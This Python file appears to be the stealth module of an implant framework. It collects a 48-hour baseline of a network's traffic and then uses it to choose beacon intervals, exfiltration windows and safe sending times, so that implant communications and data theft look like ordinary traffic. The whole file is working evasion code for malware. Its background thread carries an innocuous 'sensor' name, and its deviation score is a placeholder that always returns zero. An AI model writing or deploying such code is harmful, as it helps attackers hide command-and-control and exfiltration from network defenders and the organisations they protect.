bigbrother/modules/stealth/traffic_mimicry.py

#!/usr/bin/env python3
"""Traffic mimicry module: baseline normal traffic patterns then shape
implant communications to match observed characteristics."""

import json
import logging
import os
import random
import time
import threading
from collections import defaultdict
from pathlib import Path
from typing import Optional

from modules.base import BaseModule

logger = logging.getLogger(__name__)

PHASE_BASELINE = "baseline"
PHASE_SHAPING = "shaping"

# Default baseline storage
BASELINE_DIR = "storage/baseline"


class TrafficMimicry(BaseModule):
    """Two-phase traffic mimicry: 48h baseline collection then traffic shaping
    to match observed network patterns."""

    name = "traffic_mimicry"
    module_type = "stealth"
    priority = -200
    requires_root = False

    def __init__(self, bus, state, config, engine=None):
        super().__init__(bus, state, config, engine)
        self._phase = PHASE_BASELINE
        self._baseline_hours = config.get("baseline_hours", 48)
        self._shape_exfil = config.get("shape_exfil", True)
        self._match_protocols = config.get("match_protocols", True)
        self._jitter_pct = config.get("jitter_pct", 15)
        self._baseline_dir = config.get("baseline_dir", BASELINE_DIR)
        self._baseline_start: Optional[float] = None
        self._baseline_data = self._empty_baseline()
        self._monitor_thread: Optional[threading.Thread] = None
        self._lock = threading.Lock()

    # ------------------------------------------------------------------
    # BaseModule interface
    # ------------------------------------------------------------------

    def start(self) -> None:
        self._running = True
        self._start_time = time.time()
        self._pid = os.getpid()

        Path(self._baseline_dir).mkdir(parents=True, exist_ok=True)

        # Check if we have a saved baseline
        saved = self._load_baseline()
        if saved and self._baseline_complete(saved):
            self._baseline_data = saved
            self._phase = PHASE_SHAPING
            logger.info("TrafficMimicry loaded existing baseline — entering shaping phase")
        else:
            self._phase = PHASE_BASELINE
            self._baseline_start = time.time()
            logger.info("TrafficMimicry entering baseline phase (%dh)", self._baseline_hours)

        # Subscribe to capture events for baseline data
        self.bus.subscribe(self._on_pcap_event, event_type="PCAP_ROTATED")

        # Background thread for periodic baseline updates and phase transitions
        self._monitor_thread = threading.Thread(
            target=self._monitor_loop, daemon=True, name="sensor-traffic-mimicry",
        )
        self._monitor_thread.start()

        self.state.set_module_status(self.name, "running", pid=self._pid)
        self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)

    def stop(self) -> None:
        self._running = False
        self.bus.unsubscribe(self._on_pcap_event, event_type="PCAP_ROTATED")
        if self._monitor_thread and self._monitor_thread.is_alive():
            self._monitor_thread.join(timeout=5.0)
        # Persist current baseline
        self._save_baseline()
        self.state.set_module_status(self.name, "stopped")
        self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
        logger.info("TrafficMimicry stopped")

    def status(self) -> dict:
        with self._lock:
            completeness = self._baseline_completeness_pct()
            deviation = self._traffic_deviation_score()
        return {
            "running": self._running,
            "pid": self._pid,
            "uptime": time.time() - self._start_time if self._start_time else 0,
            "phase": self._phase,
            "baseline_completeness_pct": completeness,
            "traffic_deviation_score": deviation,
            "baseline_hours_configured": self._baseline_hours,
            "baseline_hours_elapsed": self._baseline_hours_elapsed(),
        }

    def configure(self, config: dict) -> None:
        if "baseline_hours" in config:
            self._baseline_hours = config["baseline_hours"]
        if "shape_exfil" in config:
            self._shape_exfil = config["shape_exfil"]
        if "match_protocols" in config:
            self._match_protocols = config["match_protocols"]
        if "jitter_pct" in config:
            self._jitter_pct = config["jitter_pct"]

    # ------------------------------------------------------------------
    # Traffic shaping API (called by other modules)
    # ------------------------------------------------------------------

    def get_recommended_beacon_interval(self) -> float:
        """Return a beacon interval (seconds) that matches observed periodic traffic."""
        with self._lock:
            intervals = self._baseline_data.get("periodic_intervals", [])
        if not intervals:
            return 300.0  # Default 5min if no baseline
        # Pick the most common periodic interval and add jitter
        base = random.choice(intervals)
        jitter = base * (self._jitter_pct / 100.0) * (random.random() * 2 - 1)
        return max(10.0, base + jitter)

    def get_recommended_exfil_window(self) -> dict:
        """Return recommended exfil timing based on baseline upload patterns."""
        with self._lock:
            hourly = self._baseline_data.get("hourly_volume", {})
        if not hourly:
            return {"hour": 3, "duration_minutes": 15}  # Default: 3 AM
        # Find peak upload hour
        peak_hour = max(hourly, key=lambda h: hourly[h].get("upload_bytes", 0), default=3)
        return {
            "hour": int(peak_hour),
            "duration_minutes": 30,
            "max_bytes": hourly.get(str(peak_hour), {}).get("upload_bytes", 1024 * 1024),
        }

    def should_send_now(self) -> bool:
        """Check if current time matches a high-traffic period (safe to send)."""
        if self._phase == PHASE_BASELINE:
            return False  # Don't shape during baseline
        with self._lock:
            hourly = self._baseline_data.get("hourly_volume", {})
        if not hourly:
            return True
        current_hour = str(time.localtime().tm_hour)
        hour_data = hourly.get(current_hour, {})
        volume = hour_data.get("total_bytes", 0)
        avg_volume = sum(
            h.get("total_bytes", 0) for h in hourly.values()
        ) / max(len(hourly), 1)
        # Only send when current hour volume is above average
        return volume >= avg_volume * 0.5

    # ------------------------------------------------------------------
    # Internal: baseline collection
    # ------------------------------------------------------------------

    @staticmethod
    def _empty_baseline() -> dict:
        return {
            "protocol_distribution": {},
            "hourly_volume": {},
            "inter_packet_timing": [],
            "common_dest_ports": {},
            "tls_versions": {},
            "periodic_intervals": [],
            "samples": 0,
            "start_time": None,
            "end_time": None,
        }

    def _on_pcap_event(self, event) -> None:
        """Handle PCAP_ROTATED events for baseline data collection."""
        if self._phase != PHASE_BASELINE:
            return
        payload = event.payload
        with self._lock:
            self._update_baseline_from_pcap(payload)

    def _update_baseline_from_pcap(self, payload: dict) -> None:
        """Extract traffic pattern data from PCAP rotation event payload."""
        bd = self._baseline_data
        bd["samples"] += 1
        if bd["start_time"] is None:
            bd["start_time"] = time.time()
        bd["end_time"] = time.time()

        # Protocol distribution from payload stats
        protocols = payload.get("protocol_stats", {})
        for proto, count in protocols.items():
            bd["protocol_distribution"][proto] = (
                bd["protocol_distribution"].get(proto, 0) + count
            )

        # Hourly volume
        hour = str(time.localtime().tm_hour)
        if hour not in bd["hourly_volume"]:
            bd["hourly_volume"][hour] = {"total_bytes": 0, "upload_bytes": 0, "packets": 0}
        bytes_captured = payload.get("bytes_captured", 0)
        bd["hourly_volume"][hour]["total_bytes"] += bytes_captured
        bd["hourly_volume"][hour]["upload_bytes"] += payload.get("upload_bytes", 0)
        bd["hourly_volume"][hour]["packets"] += payload.get("packet_count", 0)

        # Destination ports
        dest_ports = payload.get("dest_ports", {})
        for port, count in dest_ports.items():
            bd["common_dest_ports"][str(port)] = (
                bd["common_dest_ports"].get(str(port), 0) + count
            )

        # TLS versions
        tls = payload.get("tls_versions", {})
        for ver, count in tls.items():
            bd["tls_versions"][ver] = bd["tls_versions"].get(ver, 0) + count

        # Periodic intervals (from beacon-like patterns)
        intervals = payload.get("periodic_intervals", [])
        bd["periodic_intervals"].extend(intervals)
        # Keep only the top 50 intervals to bound memory
        if len(bd["periodic_intervals"]) > 50:
            bd["periodic_intervals"] = bd["periodic_intervals"][-50:]

    # ------------------------------------------------------------------
    # Internal: phase management
    # ------------------------------------------------------------------

    def _monitor_loop(self) -> None:
        """Background loop: check phase transitions and save baselines."""
        while self._running:
            time.sleep(60)  # Check every minute
            try:
                if self._phase == PHASE_BASELINE:
                    elapsed = self._baseline_hours_elapsed()
                    if elapsed >= self._baseline_hours:
                        self._transition_to_shaping()
                    elif int(elapsed) % 4 == 0:
                        # Save interim baseline every ~4 hours
                        self._save_baseline()
            except Exception:
                logger.exception("TrafficMimicry monitor loop error")

    def _transition_to_shaping(self) -> None:
        """Switch from baseline collection to traffic shaping."""
        with self._lock:
            self._phase = PHASE_SHAPING
        self._save_baseline()
        logger.info(
            "TrafficMimicry: baseline complete (%d samples) — entering shaping phase",
            self._baseline_data["samples"],
        )
        self.bus.emit(
            "CHANGE_DETECTED",
            {"module": self.name, "detail": "baseline_complete", "phase": PHASE_SHAPING},
            source_module=self.name,
        )

    def _baseline_hours_elapsed(self) -> float:
        if self._baseline_start is None:
            return 0.0
        return (time.time() - self._baseline_start) / 3600.0

    def _baseline_completeness_pct(self) -> float:
        """How complete is the baseline (0-100)?"""
        if self._phase == PHASE_SHAPING:
            return 100.0
        elapsed = self._baseline_hours_elapsed()
        time_pct = min(100.0, (elapsed / self._baseline_hours) * 100)
        # Also factor in data quality: need protocol and hourly data
        data_score = 0.0
        bd = self._baseline_data
        if bd["protocol_distribution"]:
            data_score += 25.0
        if len(bd["hourly_volume"]) >= 12:
            data_score += 25.0
        elif bd["hourly_volume"]:
            data_score += 10.0
        if bd["common_dest_ports"]:
            data_score += 25.0
        if bd["samples"] >= 10:
            data_score += 25.0
        return min(100.0, (time_pct * 0.6) + (data_score * 0.4))

    def _baseline_complete(self, data: dict) -> bool:
        """Check if a loaded baseline has sufficient data."""
        return (
            bool(data.get("protocol_distribution"))
            and len(data.get("hourly_volume", {})) >= 6
            and data.get("samples", 0) >= 5
        )

    def _traffic_deviation_score(self) -> float:
        """Score how much current traffic deviates from baseline (0=perfect, 100=no match).
        Only meaningful during shaping phase."""
        if self._phase == PHASE_BASELINE:
            return -1.0  # Not applicable
        # Placeholder: in production this would compare real-time traffic stats
        # against the baseline distribution. For now return 0 (no deviation data yet).
        return 0.0

    # ------------------------------------------------------------------
    # Internal: persistence
    # ------------------------------------------------------------------

    def _save_baseline(self) -> None:
        """Persist baseline data to JSON."""
        path = os.path.join(self._baseline_dir, "traffic_baseline.json")
        try:
            with self._lock:
                data = json.dumps(self._baseline_data, indent=2)
            with open(path, "w") as f:
                f.write(data)
            logger.debug("Baseline saved to %s", path)
        except Exception:
            logger.exception("Failed to save baseline")

    def _load_baseline(self) -> Optional[dict]:
        """Load baseline from disk if it exists."""
        path = os.path.join(self._baseline_dir, "traffic_baseline.json")
        if not os.path.isfile(path):
            return None
        try:
            with open(path, "r") as f:
                return json.load(f)
        except Exception:
            logger.exception("Failed to load baseline from %s", path)
            return None